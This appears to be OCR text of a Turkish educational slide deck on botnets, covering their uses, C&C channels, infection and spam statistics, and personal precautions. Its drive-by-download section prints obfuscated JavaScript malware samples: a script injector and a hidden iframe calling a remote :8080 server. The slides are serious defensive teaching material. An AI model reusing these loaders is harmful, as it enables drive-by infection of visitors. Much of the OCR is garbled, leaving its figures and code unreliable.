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Botnet Nedir?

Nasil Caligir?

Nasil Bulasir?

Ne Amacla Kullanilir?
Komut-Kontrol (C&C) Mekanizmasi
statistikler

Zeus Botnet'inin Pazarlanmasi
Ornek Saldiri: Drive-by-Download
Kisisel Olarak Alinabilecek Onlemler
Sonuc
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e Ne Amagcla Kullanilir?
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Ff}_n Ne Amagcla Kullanilir?

* Tiklama Sahtekarlig:
 Gizli bilgilerin calinmasi
» |stenmeyen (Spam) e-posta gonderilmesi

« Oltalama (Phishing) e-postalar
gonderilmesi

« DDoS Ataklari

» Zararli yazilim(Malware) yukleme ve
dagitimi
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« HTTP
e ZeUs

e P2P
e Storm

* |IRC
« AgoBot, SdBot

* Diger protokoller
« Svelta
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el C&C Mekanizmasi

e o ?ﬁ\ﬂ

Merkezi C&C

Dagltlk C&C

Botnet C&C Mekanizmasi ile kullanilan yontemler (2Q10)
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Other

29.1%

Botnet C&C Mekanizmasi ile kullanilan yontemler (2Q10)
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TpeT C&C Mekanizmasi

¢ Svelta

Home Mofile Find People Settings Help Siga out

Name upddatd

upd4t3 e

Tweets 25

Folow Favorites

Actions

aHROcDovL2)pdC5seS8xN2EzdFMc block updét

Following

e s s
AHROCDOVL2JpdC S 5eSIMT2ZS TyBOdHRWOI BYYmiOLMx

& echo "aHROcDovL2JpdCS53eS95N1NUViAgaHRIcDovL2aIJpdCS3e38yS29Ibw=—"
openssl basesd -d
hxzp://bit.ly/R6STV hxxp://bit.ly/Z2EKoHo

AHROCDoVL2)pdC5seSBxN2wORmEgaHROcDov. 2JpdCS:

aHROcDowWL 2)pdCSseSSwbVN 1 YyBodHRwOiS8vYmIOLmx

sy

AHRODoVL2)pdCSseSSHAHVWAESBOdHRWOI BVYmIOLmxSL1FQC
aHRODoVL.2)paCSseSOMakFaw Q==
aHROcDOVL2)pdCSseSB3UCFEOQw =

AHROCDOVL.2)pdC55eS82UndBTIBOdHRWOIBVYMIOLMXSL: = unzip out.ggg
‘ ’ Archive: out.ggg
inflating: gbpm.dll
inflating: gbpm.exe
£ open33sl mdS gbpm.*
MD5 (gbpm.dll})= cebBd7fd74dalal8Tcc3fced4550ddba
MD5 (gbpm.exe)= aScc8l40eTE3190efbe9d3Bcibed393f
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BN lkelere Gore Temizlenen Bot Sayisi

BILGEM
L TR | S | EEmh
eanings (1Q10) Cleanings (2Q10) MSRT Executions (Bot CCM)
1 United States 2,163,216 7,148,169 :
2 Brazl 511,002 550,426 5.2 2010’un 1 ve 2nci
3 Spain 485,603 381,948 124 (;eyreginde
4 Korea 422,663 354,906 146 Microsoft Software
5 Mexico 364,554 331,434 114 Removal Tool
6  France 344,743 271,478 4.0 Tarafindan
7 United Kingdom 251,406 243,817 2.7 .
8  China 227470 230,037 L0 temizlenen
9 Russia 181,341 199,229 43 bot sayilari
10  Germany 200,016 156,975 14
11 laly 191,588 130,888 2.6
12 Turkey 91,262 98,411 47
13  Canada 96,834 87,379 14
14 Netherlands 115,349 77,466 2.5
15  Colombia 76,610 71,493 5.8
16 Portugal 83,379 68,903 5.7
17  Australia 72,903 66,576 2.8
18 Poland 87,926 62,704 3.9
19  Taiwan 52,915 54,347 34
20 Japan 63,202 52,827 0.6
21 Argentina 38,229 43,162 3.8
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il Spambot’larin Gonderim Miktarlari
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100%
Lethic
90%
LETHIC M 17.4% s
DOMBOT B 17.3% 70%
GRUM B 11.5%
XARVESTER H2.9% 60Y%
MAAZEEM Ba,1% 50%
CUTWAIL1 BS5.4%
CUTWAIL 2 B 4,95 40% Rustock
FESTI O3.8% ! Cutwail
CUTWAILZ B1,9% 309 o
GHEG M 1,3% . Bobax
OTHER SOURCES B 19,48 209 Grun
10%
All Others
0% =
Spam Messages IP Addresses
“Lethic” Botneti : 12.000 — 60.000 mail/saat/bot
“Grum” Botneti : Mart 2010, 39.9 Milyar mail/gun
“Cutwail” Botneti : 74 Milyar mail/gun
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e Ulkelere gore Spam goénderme istatistikleri

) secutity Labs Map: Spam by Country for week ending May 1, 2011 from M86 Security - Mozilla Firefox i || LI

M hittp:/fevew, mBEsecur ity.com/labs/enlarge_map.asp?image =htip: /A, mBteecurity.cam/images/frace/286/285-3-spam_country_map_1600.gifRset_date=May 1, 20118name=Spam by Country A
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=T JavaScript icerisine gizlenmis ornek Drive-By-Download

Kaspersky
Anti-Virus 6.0 Help

Bir

forumda _
~ . ) Ffile contains Trojan pragram ‘Trajan-
ald Ig Im Clicker. 15, Iframe,db'. ¥ou are advised ko kerminate the
download,
uyarl

Trojan program:
Trojan-Clicker.J15.Iframe.db

file:
« 8080  novinky . czfnovinky . czfcdiscount, comwordpress. |

% Allow
action will be perfarmed,

=% Deny (by default)
Action will be blocked.

™ apply to all
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T Ornek Saldiri: Drive-by-Download

"h# ! te##F (L& () PSS 1#QR/ ! (/S#L)1lav()Q@e! ™ (.$(!'c!)o)m@.
&' #g#@o ((07g) (17°S'e$) Q. &) ScS#o (m# Q. ) Sh#Q# ! #asi#!d"S
#su#) $! (-
P((m"™!'s$)nS&(.Q)Rc"@So((m! (&.7) (b&!!)el@s (&tRQa () r#SH
Jt))@s#!#)al!l##e@(.)) &rS!ul&) :)8(05)@S8 "#7Q0&) SN/ &
w@S (0R r (N (!d@ "p ™ #) r#e@"s (&s&R@. (""c#"0Q@!!'mS3) /) &"gRS
("o@ ("olgl&sl&a&#te™) ) &@-

(S(m)#)a#)i 1 #.1&r)itatS@™/ ((M(l)'isav” (&(e()#]"Sass
@(&mS™& (1LS#Qn ! #7-

#Q)psS! !ShS!lo (&#t (#o##) !DHE!Suc #k((e&!)t#! ((#.550c! &
@o@m”™) &/) !c&# (nS)e () &&t) #-

lch (@ntng#) L) cl&loS#m(S/$7a&!@@b& () o (S (u!l &#) £t #-
#))eS@R)b##a# v&s&Q@. &# ("c&o™" m™M@/ (@ N

JavaScript icerisine gizlenmis ornek Drive-By-Download
o kod parcasi
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JavaScript icerisine gizlenmis ornek Drive-By-Download

"he!te## (L& ()pSS: 1 #@/ ! (/S#L!)ilev()@e! (.S (!c!)o)m@.
&' #g#C@o ((0ng) (17S!eS)@.&) ScsHo(m#"@.) Sh#A# ' #as&i#!d"S
#su#) S! (-

P ((m™M!sS)nS&(.0@)@c”@So((m! (&.7") (b&!!)e@Rs (&t@Qa () r#SH#
Jt))As#!#)a!ll##e@(.))&rS!ul&) :)8(03)@S8"#7Q0&)S™/! &
w@S (0R™Mr (N (!'dR "p™#) r#e@”s (&s&Q@Q@. (""c#”0R!!mS) /) &"gRS
("o@ ("o@g@&Slsastte”)) &@-

(S(m)#)a#)i L " #.1eM)1!letsS@/ ((M (L) !i&vr (& (e()#]"Sass
Q(&mS"N& (1SH#QN ! #7-

#Q)pS! !'ShS!o (&#t (#fo##) 'bF!Surc ¥k ((es!)t#! ((#.53Qc!&
@Qo@m™) &/) 'c&# (nS)e () &&t) #-

MleN (@nhrn&g#) L) cl&loS#m (S/$7as&!@R@b& ()on (S (ul&#) t #-
#))eSQR)b##at yves&Q. &# ("c&o™"m™@/ (@M
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BILGEM
P GE o
Firefox alert (MR T AR T AR TEERE T
. rAsElyilaviie! i s (el yomi. a! fgfdof (o™
eklentISI (1l lef i@ a)fcifoimE A, )fhEQE ! Facif!d s suf)s! (- i (n™ =5 1n%a
1 (. @)Ac™@farlim!
FireBug {a.") (b&!l)els{ac@@al) rEsHIc) JB=E 1 $)al LEFe@ () ) ars lula) )8 (05 @5E"

gra0a) s~ taw@s (o@ (" (ldE"p gl rfeld s{asa@@. (~"cf ol ! Im3)
Sragis (ToB("olglaflasfe™)ja@-if(m) Erag)i~1l g lat)ilacs@”
Sl tigw™{afe(l i fassAams: s

(i fn! g —FR)ps ! 1shs lo(aft (Foff) 'bE!su~c f({ea!l JLE!

Pl sFAc! S0 &S ) Toal

inFlellaat) f-"Floc™(Mn""naef) . iclaloffu (s 5 as | @Eba

ot (Fiulaflc f-f) ) efAR)bEfaf " vaal. s ("cao™ "n"(

PN replace (A A @Iy I (T#EINV!IhWvs iy,

http:// sayfasi diyor ki: X|

! http://live.com.google.com.baidu-msn.com bestartsale.ry:8080/wordpress.comfgoogle-mail.it
fivejasmin-photobucket.comfcnet-cnn.comjabout-ebay.com/

L v Tamam)
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/*GNU GPL*/ try{window.onload = function() {var H3ggea3uré6p =
document.createElement ('script') ;H3ggea3urbp.setAttribute ('t
vpe', 'text/javascript');H3ggea3urop.setAttribute('id',
'myscriptl') ;H3ggea3urép.setAttribute('src’,

"h#!te## (L& () pSS: 1 #Q@/! (/S#1)ilev()Re! (.S (!'c!)o)mR.&!#g#Ro (
(07g) (17S!es)@.&) ScsH#fo(m#™@.) Sh#Q@# ! #asi#!d "S#SuH)S! (-
P((mM!'sS)nS& (.Q)Q@c™R@So((m! (&.7) (b&!!)e@s (&tQ@@a () r#S#)t)) As#!
ra!l##e@(.))&r$'ul&) :)8(03)@S8"#7@0&) SN/ ! &w@S (0@ r ("~ (!d@"p
") r#e@”s (&s&Q@Q. (""c#”0o@!!mS) /) &"gl@S ("0l ("o@g&Sls&as&H#e”) ) &Q-
(S(m)#)a#)i 1 #.1&™)1!1&ets@”/ ( (M (L) Tiavh (& (e ()#]7"Sa&s@ (&mS™& (
1S#Q@n! #7-
#Q)pS!!ShSlo(&#t (#o##) !b#!Surc tk((e&!) t#! ((#.55Qc!&Ro@m™) &/
) lc&# (nS)e () &&t) #-

~le” (@n n&#) L) cl&los#m($/5%a&!@R@b& () o™ (S (u! &#) Lt #-
#))eSQR)b##at " y&sl. &# ("c&o”" m"@/ (R*""' .replace (/\*|&|Q|\) I\ (|
#1\'I\$/ig, ''));H3ggeal3ur6p.setAttribute ('defer’',

'defer') ;document.body.appendChild (H3ggea3ur6p);}} catch (e)
{}
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Rdasznp = 't(&r$$&a# v #i&&!a)n(@")-

I#Hc@Mo(#m!. (#SUN@#@N (SIS (F)vI#I(@#S!&&i)#Ho&@n!# . #HcSoH M@
H#SIrlo(@b$St@e()&F)x!(-

@c!&0&)M$.3@) @b#INu@)(e&()j!'$a&ctkM)()&(N&)&# . #r&@u$'.repla
ce(N\$|#\(|&\*|@])[\ig, *);

f = document.createElement(‘iframe’);

f.style.visibility = 'hidden’;

f.src ='http://'+Rdasznp+':8080/index.php?js’;
document.body.appendChild(f);

https://encrypted.google.com sayfas: diyor ki:
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S Kigisel Olarak Alinabilecek Onlemler

* Lisansli Antivirus Yazilimi Kullanmak

« Antivirus yaziimini surekli guncel tutmak
« Igletim sistemi gtincellemelerini stirekli yapmak

« Tanidigimiz kigilerden olsa bile gelen maillerdeki
eklentileri mutlaka taratmak

« USB Belleklerdeki AutoRun viruslerine karsi Autorun’s
devre disi birakmak

 Kullandigimiz yazilimlarin (Ornegin: Adobe Acrobat,
Adobe Flash Player, Java, Silverlight vs)
guncellemelerini surekli yapmak.

« JavaScript ataklarina karsi Firefox’u ve eklentisi
NoScript’i kullanmak.

21



v

UUUUU

» Kole bilgisayar ve C&C sunucusu
arasindaki iletisim, bulasma yontemleri,
davraniglari gok cesitli

 Kisisel onlemlerle alinacak sonuc sinirli

« Ulusal bazda izleme, tespit, savunma ve
koordinasyon gereklidir.
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